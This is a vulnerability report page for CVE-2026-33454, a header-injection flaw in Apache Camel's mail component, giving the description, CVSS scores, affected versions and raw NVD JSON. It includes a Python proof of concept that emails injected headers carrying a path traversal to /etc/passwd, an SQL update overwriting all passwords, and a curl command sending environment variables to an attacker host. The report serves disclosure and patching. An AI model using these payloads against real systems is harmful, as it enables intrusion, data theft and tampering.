Security Vulnerability Report
中文
CVE-2026-33454 CVSS 9.4 CRITICAL

CVE-2026-33454

Published: 2026-04-27 10:16:08
Last Modified: 2026-04-28 19:42:15

Description

The Camel-Mail component is vulnerable to Camel message header injection. The custom header filter strategy used by the component (MailHeaderFilterStrategy) only filters the 'out' direction via setOutFilterStartsWith, while it does not configure the 'in' direction via setInFilterStartsWith. As a result, when a Camel application consumes mail through camel-mail (for example via from(\"imap://...\") or from(\"pop3://...\")) the inbound filter check is skipped and Camel-prefixed MIME headers are mapped unfiltered into the Exchange. An attacker who can deliver an email to a mailbox monitored by such a consumer can inject Camel-specific headers that, for some Camel components downstream of the mail consumer (such as camel-bean, camel-exec, or camel-sql), can alter the behaviour of the route. This is the same pattern that was previously addressed in camel-undertow (CVE-2025-30177) and the broader incoming-header filter (CVE-2025-27636 and CVE-2025-29891). This issue affects Apache Camel: from 3.0.0 before 4.14.6, from 4.15.0 before 4.18.1. Users are recommended to upgrade to version 4.19.0, which fixes the issue. If users are on the 4.18.x LTS releases stream, then they are suggested to upgrade to 4.18.1. If users are on the 4.14.x LTS releases stream, then they are suggested to upgrade to 4.14.6.

CVSS Details

CVSS Score
9.4
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L

Configurations (Affected Products)

cpe:2.3:a:apache:camel:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:apache:camel:*:*:*:*:*:*:*:* - VULNERABLE
Apache Camel 3.0.0 至 4.14.6 之前
Apache Camel 4.15.0 至 4.18.1 之前

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import smtplib from email.mime.text import MIMEText from email.header import Header # Configuration sender = '[email protected]' receiver = '[email protected]' smtp_server = 'smtp.example.com' # Construct malicious email msg = MIMEText('Payload body', 'plain', 'utf-8') msg['From'] = sender msg['To'] = receiver msg['Subject'] = Header('Camel Header Injection', 'utf-8') # Inject malicious Camel headers to influence downstream components # Example 1: Attempting to manipulate file paths in camel-file msg['CamelFileName'] = '../../../etc/passwd' # Example 2: Attempting to inject SQL in camel-sql msg['CamelSqlQuery'] = 'UPDATE users SET password = "hacked" WHERE 1=1;--' # Example 3: Attempting to execute commands in camel-exec msg['CamelExecCommandArgs'] = 'curl http://attacker.com/steal?data=$(env)' try: with smtplib.SMTP(smtp_server, 25) as server: server.sendmail(sender, [receiver], msg.as_string()) print("[+] Malicious email sent successfully.") except Exception as e: print(f"[-] Failed to send email: {e}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-33454", "sourceIdentifier": "[email protected]", "published": "2026-04-27T10:16:07.853", "lastModified": "2026-04-28T19:42:14.580", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Camel-Mail component is vulnerable to Camel message header injection. The custom header filter strategy used by the component (MailHeaderFilterStrategy) only filters the 'out' direction via setOutFilterStartsWith, while it does not configure the 'in' direction via setInFilterStartsWith. As a result, when a Camel application consumes mail through camel-mail (for example via from(\\\"imap://...\\\") or from(\\\"pop3://...\\\")) the inbound filter check is skipped and Camel-prefixed MIME headers are mapped unfiltered into the Exchange. An attacker who can deliver an email to a mailbox monitored by such a consumer can inject Camel-specific headers that, for some Camel components downstream of the mail consumer (such as camel-bean, camel-exec, or camel-sql), can alter the behaviour of the route. This is the same pattern that was previously addressed in camel-undertow (CVE-2025-30177) and the broader incoming-header filter (CVE-2025-27636 and CVE-2025-29891).\n\nThis issue affects Apache Camel: from 3.0.0 before 4.14.6, from 4.15.0 before 4.18.1.\n\nUsers are recommended to upgrade to version 4.19.0, which fixes the issue. If users are on the 4.18.x LTS releases stream, then they are suggested to upgrade to 4.18.1. If users are on the 4.14.x LTS releases stream, then they are suggested to upgrade to 4.14.6."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L", "baseScore": 9.4, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.9, "impactScore": 5.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-502"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:apache:camel:*:*:*:*:*:*:*:*", "versionStartIncluding": "3.0.0", "versionEndExcluding": "4.14.6", "matchCriteriaId": "3CB451CA-CD89-4D27-A289-1456E97FCB24"}, {"vulnerable": true, "criteria": "cpe:2.3:a:apache:camel:*:*:*:*:*:*:*:*", "versionStartIncluding": "4.15.0", "versionEndExcluding": "4.18.1", "matchCriteriaId": "CC667F51-0F9D-49FC-889B-DE6F8DC778EB"}]}]}], "references": [{"url": "https://camel.apache.org/security/CVE-2026-33454.html", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}